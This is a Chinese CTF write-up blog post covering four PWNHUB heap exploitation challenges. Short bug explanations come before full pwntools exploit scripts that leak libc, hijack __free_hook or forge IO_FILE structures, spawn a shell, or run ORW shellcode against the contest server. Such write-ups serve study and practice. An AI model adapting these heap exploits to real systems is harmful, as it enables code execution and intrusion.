PWNHUB 3月赛

hash_hash

周末hxp给人打懵了,都是些没见过的玩意,曲线同源那块真该补补了,,,

第二天基本就是各种摸鱼,晚上又看了看论文还是找不到洞,爬了,最近比赛真是刷新认知

空闲的时候做了做pwnhub,难度比较友好了,都是些不太难的堆题

sh_v1_1

题目没给libc,拿到偏移后拿其他题目的libc猜了一手,发现是一样的

实现的是一个简单的shell,有以下命令

1
2
3
4
5
6
7
ls
cat
touch
cp
gedit
rm
ln

touch能够创建一个文件,gedit编辑,rm删除

ln为文件构建链接,这里可以稍微逆一下代码,虽然大部分代码都不用看基本能猜

1
edit_area[6 * mm] = edit_area[6 * kk];

注意到这个点基本就行了,白给的uaf,之后就泄露libc打free_hook

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
from pwn import *

p = remote('121.40.89.206', 34883)
#p = process("./sh_v1.1")
libc = ELF("./2.31-0ubuntu9_amd64/libc.so.6")

se = lambda data :p.send(data)
sea = lambda delim,data :p.sendafter(delim,data)
sl = lambda data :p.sendline(data)
sla = lambda delim,data :p.sendlineafter(delim,data)
ru = lambda delims,drop=True :p.recvuntil(delims,drop)
uu32 = lambda data :u32(data.ljust(4,b'\x00'))
uu64 = lambda data :u64(data.ljust(8,b'\x00'))
lg = lambda name,addr :log.success(name+'='+hex(addr))


def cat(filename):
sla(">>>>", "cat "+filename)


def touch(filename, cont):
sla(">>>>", "touch "+filename)
sl(cont)


def ln(filename, othername):
sla(">>>>", "ln "+filename+" "+othername)


def gedit(filename, cont):
sla(">>>>", "gedit "+filename)
sl(cont)

def rm(filename):
sla(">>>>", "rm "+filename)


for i in range(9):
touch(str(i), "a")

ln("6", "hash2")
ln("7", "hash")

for i in range(8):
rm(str(i))

cat("hash")
libcbase = uu64(ru("\n"))-0x1ebbe0
lg("libcbase", libcbase)
system = libcbase+libc.sym['system']
free_hook = libcbase+libc.sym['__free_hook']

gedit("hash2", p64(free_hook))
touch("1", b'/bin/sh\x00')
touch("2", p64(system))
rm("1")
#gdb.attach(p)
p.interactive()

ttsc

off by one打堆重叠,利用开始泄露的栈地址和栈上残留的io指针,把堆申请到stdout上去,泄露libc,再打free_hook

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
from pwn import *

context(log_level='debug')
p = remote('121.40.89.206',20111)
#p = process("./ttsc")
libc = ELF("./libc-2.27.so")

se = lambda data :p.send(data)
sea = lambda delim,data :p.sendafter(delim,data)
sl = lambda data :p.sendline(data)
sla = lambda delim,data :p.sendlineafter(delim,data)
ru = lambda delims,drop=True :p.recvuntil(delims,drop)
uu32 = lambda data :u32(data.ljust(4,b'\x00'))
uu64 = lambda data :u64(data.ljust(8,b'\x00'))
lg = lambda name,addr :log.success(name+'='+hex(addr))

def cmd(i):
sla("chs:", str(i))

def add(idx, size, cont):
cmd(1)
sla("index?", str(idx))
sla("size:", str(size))
sl(cont)

def dele(idx):
cmd(2)
sla("index?", str(idx))


def edit(idx, cont):
cmd(3)
sla("index?", str(idx))
sla("content:", cont)


sea("what is your name?", b'hash'*4)
#gdb.attach(p)
sla("age?\n", '100')
sla("high?\n", '100')
ru("name: hashhashhashhash")
stack = uu64(ru("a"))-0x94d0+0x6c88
lg("stack", stack)

add(0, 0x18, 'a')
add(1, 0x28, 'a')
add(2, 0x28, 'a')
#add(3, 0x8, 'a')
#dele(0)
edit(0, b'a'*0x18+b'\x71')
dele(1)
dele(2)

add(1, 0x60, b'a'*0x28+p64(0x41)+p64(stack))

add(2, 0x28, 'a')
add(3, 0x28, 'a')
dele(0)
add(0, 0x28, p64(0xfbad1800) + p64(0)*3)
ru("\x00"*8)

libcbase = uu64(ru(b'\x00'))-0x3eb780
lg("libcbase", libcbase)

free_hook = libcbase+libc.sym['__free_hook']
system = libcbase+libc.sym['system']
dele(2)


edit(1, b'a'*0x28+p64(0x41)+p64(free_hook))
dele(1)

add(2, 0x30, b'/bin/sh\x00')
add(1, 0x30, p64(system))
dele(2)

#gdb.attach(p)

p.interactive()

three_edit

edit边界检查不严格,可以劫持到tcache_struct,后面是利用unsorted bin打stdout的常见操作,总共需要爆破两次,一次是堆地址的一个字节,一次是stdout地址的一个字节

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
from pwn import *

#context(log_level = 'debug')
#p = remote('', )

se = lambda data :p.send(data)
sea = lambda delim,data :p.sendafter(delim,data)
sl = lambda data :p.sendline(data)
sla = lambda delim,data :p.sendlineafter(delim,data)
ru = lambda delims,drop=True :p.recvuntil(delims,drop)
uu32 = lambda data :u32(data.ljust(4,b'\x00'))
uu64 = lambda data :u64(data.ljust(8,b'\x00'))
lg = lambda name,addr :log.success(name+'='+hex(addr))


def cmd(i):
sla("is:", str(i))


def add(idx, size, cont):
cmd(1)
sla("index:", str(idx))
sla("size:", str(size))
sla("content:", cont)


def dele(idx):
cmd(2)
sla("index?", str(idx))


def edit(idx, cont):
cmd(3)
sla("index?", str(idx))
sla("new content:", cont)

libc = ELF("./libc-2.31.so")
while True:
try:
#p = process("./pwn4")
p = remote("121.40.89.206", 21795)
for i in range(10):
add(i, 0x70, 'a')

for i in range(2):
dele(i)

dele(3)

edit(-60, b'\xa0\x12')
add(0, 0x70, b'a')
add(1, 0x70, b'')#heap_array

edit(1, b'\xc0\x10')
edit(0, b'\x90\x14')
add(3, 0x70, p64(0)+p64(0x101))

edit(1, b'\x28\x10')
edit(0, b'\x00'*4+b'\x07')
dele(2)

dele(4)
edit(1, b'\xc0\x10')
edit(0, b'\xa0\x14')
#gdb.attach(p)

add(10, 0x70, b'\xa0\x46')

#gdb.attach(p)
dele(5)
dele(6)
edit(1, b'\xc0\x10')
edit(0, b'\xa0\x14')
add(11, 0x70, '/bin/sh\x00')
add(12, 0x70, p64(0xfbad1800) + p64(0)*3 + b'\x08')

libcbase = uu64(p.recvuntil(b"\x7f")[1:])-0x1eb980
lg("libcbase", libcbase)

#gdb.attach(p)
free_hook = libcbase+libc.sym['__free_hook']
system = libcbase+libc.sym['system']
lg("free_hook", free_hook)

#gdb.attach(p)
dele(7)
#gdb.attach(p)
edit(1, b'\xc0\x10')
edit(0, p64(free_hook))
add(13, 0x70, p64(system))
dele(11)

#gdb.attach(p)
p.interactive()

except:
p.close()
continue

tototo

限制了三次edit机会,申请只能申请较大的堆块,开了沙箱,ban了free_hook,也没怎么想了,直接打的house of cat,懒人实锤了: ( ,或者可以去泄露environ打栈也行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
from pwn import *

p = remote('121.40.89.206',36789)
#p = process("./tototo")
libc = ELF("./libc-2.31.so")
context(arch='amd64')

se = lambda data :p.send(data)
sea = lambda delim,data :p.sendafter(delim,data)
sl = lambda data :p.sendline(data)
sla = lambda delim,data :p.sendlineafter(delim,data)
ru = lambda delims,drop=True :p.recvuntil(delims,drop)
uu32 = lambda data :u32(data.ljust(4,b'\x00'))
uu64 = lambda data :u64(data.ljust(8,b'\x00'))
lg = lambda name,addr :log.success(name+'='+hex(addr))

def cmd(i):
sla("is:", str(i))

def add(idx, size):
cmd(1)
sla("index?\n", str(idx))
sla("size?\n", str(size))

def dele(idx):
cmd(2)
sla("Which one?\n", str(idx))

def edit(idx, cont):
cmd(3)
sla("Which one?\n", str(idx))
sla("new content?\n", cont)

def show(idx):
cmd(4)
sla("Which one?\n", str(idx))

def c_add(idx, size):
cmd(5)
sla("index?\n", str(idx))
sla("size?\n", str(size))


add(0, 0x520)
add(1, 0x510)
add(2, 0x510)
dele(0)
show(0)

libcbase = uu64(ru("\n"))-0x1ebbe0
lg("libcbase",libcbase)
IO_list = libcbase+0x1ec5a0
wfile_jumps = libcbase+0x1ecf60
lg("wfile_jumps",wfile_jumps)
setcontext = libcbase+0x580DD
pop_rdi = libcbase+0x26b72
pop_rdx_r12 = libcbase+0x11c371
pop_rsi = libcbase+0x27529
ret = libcbase+0x25679
mprotect = libcbase+libc.sym['mprotect']

add(3, 0x540)
dele(2)
add(4, 0x540)
show(0)
heap_addr = uu64(ru("\n"))-0xce0
lg("heap_addr", heap_addr)
add(0, 0x520)
add(2, 0x510)

dele(0)
add(5, 0x540)
edit(0,b'a'*7+p64(0)+p64(IO_list-0x20))
dele(2)
add(6,0x540)


orw = p64(pop_rdi)+p64((heap_addr>>12)<<12)+p64(pop_rsi)+p64(0x1000)+p64(pop_rdx_r12)+p64(0x7)+p64(0)+p64(mprotect)+p64(heap_addr+0x2b0+0x58)
orw+=asm(shellcraft.openat(0,'/flag.txt')+shellcraft.read(3,heap_addr+0x1000,0x100)+shellcraft.write(1,heap_addr+0x1000,0x100))
payload = b'a'*7+p64(heap_addr+0x2b0+0x10)+p64(ret)+orw
edit(0,payload)

lg("heap0addr", heap_addr-0xa0+0x2b0)
fake_io_addr = heap_addr+0xce0
lg("fake_io_addr",fake_io_addr)


fake_io = p64(0)*8
fake_io += p64(1)+p64(2)
fake_io += p64(heap_addr-0xa0+0x2b0)
fake_io += p64(setcontext)
fake_io += pack(-1)
fake_io += p64(0)
fake_io = fake_io.ljust(0x88,b'\x00')
fake_io += p64(heap_addr+0x5000)
fake_io = fake_io.ljust(0xa0,b'\x00')
fake_io += p64(fake_io_addr+0x30)
fake_io = fake_io.ljust(0xc0,b'\x00')
fake_io += p64(1)
fake_io = fake_io.ljust(0xd8,b'\x00')
fake_io += p64(wfile_jumps+0x30)
fake_io += p64(0)*6
fake_io += p64(fake_io_addr+0x40)
edit(2,b'\x00'*7+fake_io[0x20:])


#gdb.attach(p)
cmd(3)

#gdb.attach(p)
p.interactive()
  • Post title:PWNHUB 3月赛
  • Post author:hash_hash
  • Create time:2023-03-14 13:27:06
  • Post link:https://hash-hash.github.io/2023/03/14/PWNHUB-3月赛/
  • Copyright Notice:All articles in this blog are licensed under BY-NC-SA unless stating additionally.